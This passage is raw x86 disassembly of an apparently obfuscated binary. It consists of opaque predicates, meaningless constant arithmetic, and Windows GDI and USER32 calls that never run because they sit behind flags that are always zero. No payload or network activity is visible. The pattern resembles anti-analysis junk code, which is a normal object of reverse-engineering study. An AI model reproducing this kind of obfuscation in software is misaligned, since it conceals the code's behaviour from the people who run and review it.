and dword [ebp - 0xbf4], 0
jmp 0x463208
mov dword [ebp - 0xbf4], 1
mov eax, dword [ebp - 0xbf4]
sub eax, dword [ebp - 0x284]
cmp eax, 0x5bae5bd5
jne 0x46322d
mov eax, 0xe9572ab1
test eax, eax
jne 0x46322d
and dword [ebp - 0x18c8], 0
jmp 0x463237
mov dword [ebp - 0x18c8], 1
imul eax, dword [ebp - 0x18c8], 0xfff7
cmp eax, dword [ebp - 0x1d8]
je 0x46326d
mov byte [ebp - 0x273], 0
movzx eax, byte [ebp - 0x273]
test eax, eax
je 0x463268
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
jmp 0x4634d4
mov dword [ebp - 0x388], 0xfe49
mov dword [ebp - 0x72c], 0
jmp 0x463290
mov eax, dword [ebp - 0x72c]
inc eax
mov dword [ebp - 0x72c], eax
cmp dword [ebp - 0x72c], 1
jge 0x4632ac
mov eax, dword [ebp - 0x72c]
mov dword [ebp + eax*4 - 0x21f0], 4
jmp 0x463283
mov dword [ebp - 0x40], 0
jmp 0x4632bc
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jg 0x463324
mov dword [ebp - 0x21e0], 0x348f6f7e
mov byte [ebp - 0x275], 0
movzx eax, byte [ebp - 0x275]
test eax, eax
je 0x4632ed
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
cmp dword [ebp - 0x21e0], 0
jne 0x463308
cmp dword [ebp - 0x388], 0
jne 0x463308
and dword [ebp - 0xbfc], 0
jmp 0x463312
mov dword [ebp - 0xbfc], 1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xbfc]
mov dword [ebp + eax*4 - 0x404], ecx
jmp 0x4632b5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x404], 0
je 0x463410
cmp dword [ebp - 0x94], 4
jbe 0x46334d
mov dword [ebp - 0xc04], 1
jmp 0x463354
and dword [ebp - 0xc04], 0
imul eax, dword [ebp - 0x284], 0
test eax, eax
jne 0x46336e
cmp dword [ebp - 0x40], 0
jne 0x46336e
and dword [ebp - 0x18d0], 0
jmp 0x463378
mov dword [ebp - 0x18d0], 1
mov eax, dword [ebp - 0x1d8]
imul ecx, dword [ebp - 0x18d0], 0x75ae
sub eax, ecx
jne 0x46339e
cmp dword [ebp - 0x388], 0
jne 0x46339e
and dword [ebp - 0x18d8], 0
jmp 0x4633a8
mov dword [ebp - 0x18d8], 1
mov eax, dword [ebp - 0xc04]
cmp eax, dword [ebp - 0x18d8]
jg 0x4633c2
mov dword [ebp - 0xc0c], 1
jmp 0x4633c9
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0xc0c], eax
jne 0x4633e3
mov dword [ebp - 0x21e8], 1
jmp 0x4633ea
and dword [ebp - 0x21e8], 0
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x2f9c], eax
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0x57c], eax
jle 0x463410
mov dword [ebp - 0x18e0], 1
jmp 0x463417
and dword [ebp - 0x18e0], 0
mov eax, dword [ebp - 0x18e0]
neg eax
cmp eax, 0xfb0f
je 0x463433
xor eax, eax
jne 0x463433
and dword [ebp - 0xa38], 0
jmp 0x46343d
mov dword [ebp - 0xa38], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa38]
mov dword [ebp + eax - 0x21f0], ecx
mov eax, dword [ebp - 0x388]
cmp dword [ebp - 0xa38], eax
je 0x46346a
mov dword [ebp - 0xc14], 1
jmp 0x463471
and dword [ebp - 0xc14], 0
cmp dword [ebp - 0xc14], 0xbda1
je 0x463489
mov dword [ebp - 0x18e8], 1
jmp 0x463490
and dword [ebp - 0x18e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
cmp dword [ebp - 0x18e8], eax
jne 0x4634b1
mov dword [ebp - 0x980], 1
jmp 0x4634b8
and dword [ebp - 0x980], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x980]
mov dword [ebp + eax - 0x404], ecx
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x40], eax
jmp 0x462e9f
push 0x112f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov dword [ebp - 0x894], 2
jmp 0x46350b
mov eax, dword [ebp - 0x894]
dec eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 0
jl 0x4638a4
push 2
lea ecx, [ebp - 0x2cdc]
call fcn.0042ae00
mov dword [ebp - 0x734], 0x667a876e
mov dword [ebp - 0x584], 0
jmp 0x463548
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 2
jge 0x46356a
push dword [ebp - 0x584]
lea ecx, [ebp - 0x2cdc]
call fcn.0042aeee
mov dword [eax], 0xdf99ff60
jmp 0x46353b
mov dword [ebp - 0x734], 1
jmp 0x463583
mov eax, dword [ebp - 0x734]
dec eax
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0
jl 0x4635af
mov byte [ebp - 0x277], 0
movzx eax, byte [ebp - 0x277]
test eax, eax
je 0x4635ad
push 0
push 0x12fe
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
jmp 0x463576
lea ecx, [ebp - 0x2cdc]
call fcn.0042aed2
mov dword [ebp - 0x58c], 7
mov dword [ebp - 0x21f8], 0x85299dad
mov dword [ebp - 0x408], 0xffffffff
mov dword [ebp - 0x2200], 0xaeb9
mov eax, dword [ebp - 0x21f8]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x408], 0x12
jmp 0x463607
mov eax, dword [ebp - 0x408]
dec eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0xfffffff2
jl 0x463679
cmp dword [ebp - 0x2200], 0
je 0x46361b
jmp 0x463679
mov byte [ebp - 0x2cd], 0
movzx eax, byte [ebp - 0x2cd]
test eax, eax
je 0x463677
push 0x14c3
push 0x920
push 0
push 0
push 0xb98
push 0x25c3
push 0x1bb4
push 0x1532
push 0x2032
push 0x11b6
push 0xd37
push 0x1c09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
jmp 0x4635fa
mov dword [ebp - 0x58c], 2
jmp 0x463692
mov eax, dword [ebp - 0x58c]
dec eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0
jl 0x46389f
mov dword [ebp - 0xa90], 0xffffffff
push 4
lea ecx, [ebp - 0x2330]
call fcn.0042ae00
push 2
lea ecx, [ebp - 0x2478]
call fcn.0042ae00
mov dword [ebp - 0x2d20], 0xf3d4
mov dword [ebp - 0x190], 0
jmp 0x4636e6
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 4
jge 0x463708
push dword [ebp - 0x190]
lea ecx, [ebp - 0x2330]
call fcn.0042aeee
mov dword [eax], 0xfffffffc
jmp 0x4636d9
mov dword [ebp - 0x190], 0
jmp 0x463721
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x463743
push dword [ebp - 0x190]
lea ecx, [ebp - 0x2478]
call fcn.0042aeee
mov dword [eax], 0xc12265e3
jmp 0x463714
mov esi, dword [ebp - 0xa90]
push 0
lea ecx, [ebp - 0x2330]
call fcn.0042aeee
cmp esi, dword [eax]
jge 0x463775
push 1
lea ecx, [ebp - 0x2330]
call fcn.0042aeee
cmp dword [eax], 0
jne 0x463775
and dword [ebp - 0xc1c], 0
jmp 0x46377f
mov dword [ebp - 0xc1c], 1
push 0
lea ecx, [ebp - 0x2478]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0xc1c]
jne 0x4637a2
mov dword [ebp - 0x18f0], 1
jmp 0x4637a9
and dword [ebp - 0x18f0], 0
push 0
lea ecx, [ebp - 0x2330]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x18f0]
jne 0x4637cc
mov dword [ebp - 0xc24], 1
jmp 0x4637d3
and dword [ebp - 0xc24], 0
mov eax, dword [ebp - 0xc24]
sub eax, 0x2efdd87e
cmp eax, 0xf72b5725
jb 0x4637f1
mov dword [ebp - 0x18f8], 1
jmp 0x4637f8
and dword [ebp - 0x18f8], 0
cmp dword [ebp - 0x18f8], 1
jne 0x46380d
mov dword [ebp - 0xc2c], 1
jmp 0x463814
and dword [ebp - 0xc2c], 0
mov eax, dword [ebp - 0xa90]
cmp eax, dword [ebp - 0xc2c]
jl 0x46382e
mov dword [ebp - 0x1900], 1
jmp 0x463835
and dword [ebp - 0x1900], 0
cmp dword [ebp - 0x1900], 0x665683c8
jl 0x46385f
push 1
lea ecx, [ebp - 0x2478]
call fcn.0042aeee
cmp dword [eax], 0
je 0x46385f
mov dword [ebp - 0xc34], 1
jmp 0x463866
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xc34]
mov dword [ebp - 0xa90], eax
lea ecx, [ebp - 0x2478]
call fcn.0042aed2
lea ecx, [ebp - 0x2330]
call fcn.0042aed2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x31c4], 0
je 0x46389a
jmp 0x46389f
jmp 0x463685
jmp 0x4634fe
mov dword [ebp - 0x3c0], 0x399841b3
mov dword [ebp - 0x2208], 0x4f16efa4
mov dword [ebp - 0x988], 0xb69b2e41
mov dword [ebp - 0x2210], 0xffffffff
mov dword [ebp - 0x2220], 0xa6ff609
mov dword [ebp - 0x3c0], 0xffffffe8
jmp 0x4638ef
mov eax, dword [ebp - 0x3c0]
dec eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0xffffffe7
jle 0x463a19
mov dword [ebp - 0xa40], 0x865b49d5
mov dword [ebp - 0x2218], 0x7e434392
cmp dword [ebp - 0x2208], 0x4837182a
jl 0x463928
mov dword [ebp - 0x1908], 1
jmp 0x46392f
and dword [ebp - 0x1908], 0
cmp dword [ebp - 0x1908], 0xf9acf257
jb 0x463947
mov dword [ebp - 0xc3c], 1
jmp 0x46394e
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0xc3c]
mov dword [ebp - 0xa40], eax
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x30a8], eax
mov eax, dword [ebp - 0xa40]
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 0
je 0x463990
cmp dword [ebp - 0x988], 0
je 0x463990
mov dword [ebp - 0x1910], 1
jmp 0x463997
and dword [ebp - 0x1910], 0
mov eax, dword [ebp - 0x2210]
cmp dword [ebp - 0x1910], eax
jne 0x4639b1
mov dword [ebp - 0xc44], 1
jmp 0x4639b8
and dword [ebp - 0xc44], 0
cmp dword [ebp - 0xc44], 0x29ed890f
jge 0x4639d0
mov dword [ebp - 0x1918], 1
jmp 0x4639d7
and dword [ebp - 0x1918], 0
mov eax, dword [ebp - 0x1918]
sub eax, dword [ebp - 0x3c0]
jne 0x4639f7
cmp dword [ebp - 0xa40], 0
jne 0x4639f7
and dword [ebp - 0xc4c], 0
jmp 0x463a01
mov dword [ebp - 0xc4c], 1
mov eax, dword [ebp - 0x2218]
imul eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x2220], eax
jmp 0x4638e2
cmp dword [ebp + 8], 2
jl 0x46d4a7
mov dword [ebp - 0x4c8], 0xfffffff9
mov dword [ebp - 0xc5c], 1
mov dword [ebp - 0x1940], 0x7c8b166c
mov dword [ebp - 0x2230], 0xfffffffe
mov dword [ebp - 0x2238], 0x32e26595
push 1
lea ecx, [ebp - 0x298c]
call fcn.0042ae00
mov dword [ebp - 0x140], 0
jmp 0x463a7b
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 1
jge 0x463a97
mov eax, dword [ebp - 0x140]
mov dword [ebp + eax*4 - 0x1920], 0x7d21
jmp 0x463a6e
mov dword [ebp - 0x140], 0
jmp 0x463ab0
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 1
jge 0x463ad2
push dword [ebp - 0x140]
lea ecx, [ebp - 0x298c]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x463aa3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1920]
dec eax
mov dword [ebp - 0xc54], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc54]
mov dword [ebp + eax - 0x1920], ecx
cmp dword [ebp - 0xc54], 0
jne 0x463b14
mov eax, 0xffff
test eax, eax
jne 0x463b14
and dword [ebp - 0xc6c], 0
jmp 0x463b1e
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0x4c8], 0xfffffffa
jne 0x463b33
mov dword [ebp - 0xc64], 1
jmp 0x463b3a
and dword [ebp - 0xc64], 0
mov eax, 0x42f3d479
sub eax, dword [ebp - 0x1940]
neg eax
cmp eax, dword [ebp - 0x4c8]
je 0x463b5b
mov dword [ebp - 0x1928], 1
jmp 0x463b62
and dword [ebp - 0x1928], 0
cmp dword [ebp - 0x1928], 7
jb 0x463b77
mov dword [ebp - 0x2228], 1
jmp 0x463b7e
and dword [ebp - 0x2228], 0
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x2d30], eax
mov eax, dword [ebp - 0x2230]
mov dword [ebp - 0x29f4], eax
mov eax, dword [ebp - 0x2238]
mov dword [ebp - 0x29fc], eax
cmp dword [ebp - 0xc5c], 0xfffffffe
jle 0x463bb9
xor eax, eax
inc eax
jne 0x463bb9
and dword [ebp - 0x1930], 0
jmp 0x463bc3
mov dword [ebp - 0x1930], 1
mov eax, dword [ebp - 0xc5c]
imul eax, dword [ebp - 0x1930]
cmp dword [ebp - 0xc64], eax
jne 0x463be4
mov dword [ebp - 0x1938], 1
jmp 0x463beb
and dword [ebp - 0x1938], 0
mov eax, dword [ebp - 0x1938]
mov dword [ebp - 0x4c8], eax
mov eax, dword [ebp - 0x4c8]
add eax, dword [ebp - 0xc6c]
imul eax, dword [ebp - 0x1940]
cmp eax, 0x5b04
je 0x463c1d
mov dword [ebp - 0xc74], 1
jmp 0x463c24
and dword [ebp - 0xc74], 0
push 0
lea ecx, [ebp - 0x298c]
call fcn.0042aeee
mov ecx, dword [ebp - 0xc74]
mov dword [eax], ecx
lea ecx, [ebp - 0x298c]
call fcn.0042aed2
push 1
lea ecx, [ebp - 0x2cec]
call fcn.0042ae00
mov dword [ebp - 0x198], 0
jmp 0x463c6a
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jge 0x463c8c
push dword [ebp - 0x198]
lea ecx, [ebp - 0x2cec]
call fcn.0042aeee
mov dword [eax], 0x1713b910
jmp 0x463c5d
mov dword [ebp - 0x198], 0
jmp 0x463ca5
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 1
jge 0x463cc1
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x80c], 0xfffffff6
jmp 0x463c98
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x80c], 0
jmp 0x463cef
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x80c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x80c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x80c], 0
jl 0x463d7b
push 1
lea ecx, [ebp - 0x2830]
call fcn.0042ae00
mov dword [ebp - 0x594], 0
jmp 0x463d25
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 1
jge 0x463d47
push dword [ebp - 0x594]
lea ecx, [ebp - 0x2830]
call fcn.0042aeee
mov dword [eax], 7
jmp 0x463d18
push 0
lea ecx, [ebp - 0x2830]
call fcn.0042aeee
mov dword [ebp - 0x1948], eax
mov eax, dword [ebp - 0x1948]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1948]
mov dword [ecx], eax
lea ecx, [ebp - 0x2830]
call fcn.0042aed2
jmp 0x463cd4
lea ecx, [ebp - 0x2cec]
call fcn.0042aed2
mov dword [ebp - 0xfc], 0x2c70bb74
push 4
lea ecx, [ebp - 0x51c]
call fcn.0042ae00
mov dword [ebp - 0xac4], 0xffffffff
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x148], 0
jmp 0x463dc7
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 1
jge 0x463de3
mov eax, dword [ebp - 0x148]
mov dword [ebp + eax*4 - 0x128], 8
jmp 0x463dba
mov dword [ebp - 0x148], 0
jmp 0x463dfc
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 4
jge 0x463e1e
push dword [ebp - 0x148]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov dword [eax], 6
jmp 0x463def
mov dword [ebp - 0xfc], 0
jmp 0x463e37
mov eax, dword [ebp - 0xfc]
dec eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x46412c
mov dword [ebp - 0x7c], 0xfffffffd
mov dword [ebp - 0xc94], 0xb83de37d
mov dword [ebp - 0x27a8], 0xfb41ce09
mov dword [ebp - 0x27a4], 0xfb41ce09
mov dword [ebp - 0x27a0], 0xfb41ce09
mov dword [ebp - 0x279c], 0xfb41ce09
lea ecx, [ebp - 0xaa1]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2798]
push eax
lea eax, [ebp - 0x27a8]
push eax
lea ecx, [ebp - 0x3354]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2cfc]
call fcn.0042aeac
mov dword [ebp - 0x7c], 0
jmp 0x463ec2
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jg 0x46411c
mov esi, dword [ebp - 0x7c]
push 0
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov dword [eax], esi
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x2a04], eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp + eax*4 - 0x128]
mov dword [ebp - 0x2a0c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x128], 0
je 0x463f1f
cmp dword [ebp - 0x7c], 0
je 0x463f1f
mov dword [ebp - 0xc7c], 1
jmp 0x463f26
and dword [ebp - 0xc7c], 0
cmp dword [ebp - 0xc7c], 1
jbe 0x463f3b
mov dword [ebp - 0x1950], 1
jmp 0x463f42
and dword [ebp - 0x1950], 0
cmp dword [ebp - 0x1950], 0x47aa2967
jg 0x463f64
mov eax, dword [ebp - 0x7c]
cmp dword [ebp + eax*4 - 0x128], 0
jne 0x463f64
and dword [ebp - 0xc84], 0
jmp 0x463f6e
mov dword [ebp - 0xc84], 1
mov eax, dword [ebp - 0xc84]
mov dword [ebp - 0xac4], eax
mov eax, dword [ebp - 0xac4]
mov dword [ebp - 0x2a14], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x128]
mov dword [ebp - 0x2a1c], eax
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0xfc]
jne 0x463fb3
mov eax, 0x243a
test eax, eax
jne 0x463fb3
and dword [ebp - 0x1958], 0
jmp 0x463fbd
mov dword [ebp - 0x1958], 1
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x128]
cmp dword [ebp - 0x1958], eax
jge 0x463fe8
mov eax, dword [ebp - 0x7c]
cmp dword [ebp + eax*4 - 0x128], 0
je 0x463fe8
mov dword [ebp - 0xc8c], 1
jmp 0x463fef
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x128]
cmp dword [ebp - 0xc8c], eax
jle 0x46400d
mov dword [ebp - 0x1960], 1
jmp 0x464014
and dword [ebp - 0x1960], 0
push 0
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov dword [eax], 0xfffffffd
imul eax, dword [ebp - 0x1960], 0xfffffffd
mov dword [ebp - 0xc94], eax
cmp dword [ebp - 0xc94], 0xf181e21
jl 0x46404c
mov dword [ebp - 0x1968], 1
jmp 0x464053
and dword [ebp - 0x1968], 0
cmp dword [ebp - 0x1968], 0xfff9
ja 0x464071
cmp dword [ebp - 0xfc], 0
jne 0x464071
and dword [ebp - 0xc9c], 0
jmp 0x46407b
mov dword [ebp - 0xc9c], 1
cmp dword [ebp - 0xc9c], 0xffffffff
jne 0x464090
mov dword [ebp - 0x1970], 1
jmp 0x464097
and dword [ebp - 0x1970], 0
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x128]
cmp eax, dword [ebp - 0x1970]
jge 0x4640b5
mov dword [ebp - 0x990], 1
jmp 0x4640bc
and dword [ebp - 0x990], 0
push 3
lea ecx, [ebp - 0x2cfc]
call fcn.0042aeee
mov ecx, dword [ebp - 0x990]
mov dword [eax], ecx
cmp dword [ebp - 0x990], 0x81fd
jl 0x4640eb
or eax, 0xffffffff
jne 0x4640eb
and dword [ebp - 0xca4], 0
jmp 0x4640f5
mov dword [ebp - 0xca4], 1
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp + eax*4 - 0x128]
imul eax, dword [ebp - 0xca4]
add eax, 0x7c264f89
imul eax, eax, 0x4592
mov dword [ebp - 0x24], eax
jmp 0x463ebb
lea ecx, [ebp - 0x2cfc]
call fcn.0042aed2
jmp 0x463e2a
mov dword [ebp - 0x24], 0
jmp 0x46413c
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jg 0x46436b
cmp dword [ebp - 0xac4], 0
jne 0x4642a9
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov eax, dword [eax]
dec eax
cmp eax, 0xfffffff9
jle 0x464175
mov dword [ebp - 0x1978], 1
jmp 0x46417c
and dword [ebp - 0x1978], 0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov ecx, dword [ebp - 0x1978]
cmp ecx, dword [eax]
jg 0x4641a0
mov dword [ebp - 0xcac], 1
jmp 0x4641a7
and dword [ebp - 0xcac], 0
mov esi, dword [ebp - 0x24]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
sub esi, dword [eax]
sub esi, dword [ebp - 0xcac]
neg esi
je 0x4641d6
cmp dword [ebp - 0x24], 0
je 0x4641d6
mov dword [ebp - 0x1980], 1
jmp 0x4641dd
and dword [ebp - 0x1980], 0
cmp dword [ebp - 0x1980], 0
je 0x464204
push 0
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
cmp dword [eax], 0
je 0x464204
mov dword [ebp - 0xcb4], 1
jmp 0x46420b
and dword [ebp - 0xcb4], 0
cmp dword [ebp - 0xcb4], 7
jne 0x464229
cmp dword [ebp - 0xfc], 0
je 0x464229
mov dword [ebp - 0x1988], 1
jmp 0x464230
and dword [ebp - 0x1988], 0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov ecx, dword [ebp - 0x1988]
cmp ecx, dword [eax]
jg 0x464254
mov dword [ebp - 0xcbc], 1
jmp 0x46425b
and dword [ebp - 0xcbc], 0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov ecx, dword [ebp - 0xcbc]
cmp ecx, dword [eax]
jg 0x464285
mov eax, 0x4ddaf140
test eax, eax
jne 0x464285
and dword [ebp - 0x1990], 0
jmp 0x46428f
mov dword [ebp - 0x1990], 1
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1990]
lea eax, [ecx + eax + 9]
neg eax
jne 0x4642a9
and dword [ebp - 0xcc4], 0
jmp 0x4642b3
mov dword [ebp - 0xcc4], 1
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc4]
lea eax, [ecx + eax + 3]
test eax, eax
je 0x4642f0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4642f0
mov dword [ebp - 0x1998], 1
jmp 0x4642f7
and dword [ebp - 0x1998], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x128]
cmp dword [ebp - 0x1998], eax
jle 0x464318
mov dword [ebp - 0xccc], 1
jmp 0x46431f
and dword [ebp - 0xccc], 0
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov esi, dword [ebp - 0xccc]
add esi, dword [eax]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
xor esi, esi
inc esi
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x51c]
call fcn.0042aeee
mov dword [eax], esi
jmp 0x464135
lea ecx, [ebp - 0x51c]
call fcn.0042aed2
mov dword [ebp - 0x2260], 1
mov dword [ebp - 0x19a0], 0x491e29ea
push 1
lea ecx, [ebp - 0x1fa0]
call fcn.0042ae00
mov dword [ebp - 0x998], 0
mov dword [ebp - 0x1a0], 0
jmp 0x4643ba
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 1
jge 0x4643dc
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x1fa0]
call fcn.0042aeee
mov dword [eax], 0xdf82d83d
jmp 0x4643ad
mov dword [ebp - 0x1a0], 0
jmp 0x4643f5
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 4
jge 0x464411
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0x314c], 0xfffffffa
jmp 0x4643e8
cmp dword [ebp - 0x19a0], 0
je 0x464465
cmp dword [ebp - 0x19a0], 0
je 0x464430
push 0
lea ecx, [ebp - 0x1fa0]
call fcn.0042aeee
push 0
lea ecx, [ebp - 0x1fa0]
call fcn.0042aeee
push 0
lea ecx, [ebp - 0x1fa0]
call fcn.0042aeee
mov dword [eax], 0x26d8
mov eax, 0x26d8
test eax, eax
je 0x464465
mov dword [ebp - 0xcd4], 1
jmp 0x46446c
and dword [ebp - 0xcd4], 0
mov eax, dword [ebp - 0x998]
cmp dword [ebp - 0xcd4], eax
jl 0x46448f
cmp dword [ebp - 0x998], 0
je 0x46448f
mov dword [ebp - 0x19a8], 1
jmp 0x464496
and dword [ebp - 0x19a8], 0
mov eax, dword [ebp - 0x998]
add eax, dword [ebp - 0x19a8]
je 0x4644c2
push 0
lea ecx, [ebp - 0x1fa0]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4644c2
mov dword [ebp - 0xcdc], 1
jmp 0x4644c9
and dword [ebp - 0xcdc], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x314c]
cmp dword [ebp - 0xcdc], eax
jge 0x4644ea
mov dword [ebp - 0x19b0], 1
jmp 0x4644f1
and dword [ebp - 0x19b0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x19b0]
mov dword [ebp + eax - 0x314c], ecx
lea ecx, [ebp - 0x1fa0]
call fcn.0042aed2
push 2
lea ecx, [ebp - 0x2340]
call fcn.0042ae00
mov dword [ebp - 0x59c], 0xb96
mov dword [ebp - 0x410], 1
mov dword [ebp - 0x490], 2
mov dword [ebp - 0x19c0], 0xfd5d7051
mov dword [ebp - 0x19c8], 0xfffffffa
mov dword [ebp - 0x73c], 0
jmp 0x464566
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 1
jge 0x464582
mov eax, dword [ebp - 0x73c]
mov dword [ebp + eax*4 - 0x2240], 0xdef906d8
jmp 0x464559
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x7dfa860b
jl 0x4645a7
mov dword [ebp - 0xce4], 1
jmp 0x4645ae
and dword [ebp - 0xce4], 0
mov eax, dword [ebp - 0xce4]
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x410], 0
jne 0x464660
cmp dword [ebp - 0x59c], 0
jne 0x46461f
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0x2a24], eax
mov eax, dword [ebp - 0x410]
cmp dword [ebp - 0x490], eax
jge 0x4645f6
mov dword [ebp - 0x19b8], 1
jmp 0x4645fd
and dword [ebp - 0x19b8], 0
mov eax, dword [ebp - 0x490]
add eax, dword [ebp - 0x19b8]
imul eax, eax, 0xb0a
cmp eax, 0xa13b
jge 0x46461f
and dword [ebp - 0xcec], 0
jmp 0x464629
mov dword [ebp - 0xcec], 1
mov eax, dword [ebp - 0xcec]
mov dword [ebp - 0x19c0], eax
mov eax, dword [ebp - 0x19c0]
mov dword [ebp - 0x490], eax
mov eax, dword [ebp - 0x490]
neg eax
add eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x59c]
jle 0x464660
